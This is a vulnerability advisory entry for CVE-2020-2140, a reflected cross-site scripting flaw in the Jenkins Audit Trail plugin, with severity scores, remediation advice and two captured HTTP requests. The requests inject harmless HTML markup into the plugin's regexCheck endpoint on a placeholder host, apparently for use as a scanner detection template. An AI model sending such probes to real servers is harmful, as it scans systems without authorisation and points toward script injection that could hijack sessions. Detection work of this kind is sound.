| Title | Jenkin Audit Trail <=3.2 - Cross-Site Scripting |
|---|---|
| Author | j3ssie/geraldino2 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to the latest version of Jenkin Audit Trail (>=3.3) which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.44807 |
| CVE ID | CVE-2020-2140 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 jenkins xss plugin vuln |
Jenkins Audit Trail 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
GET /descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-2140.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-2140.pcap
N/AN/A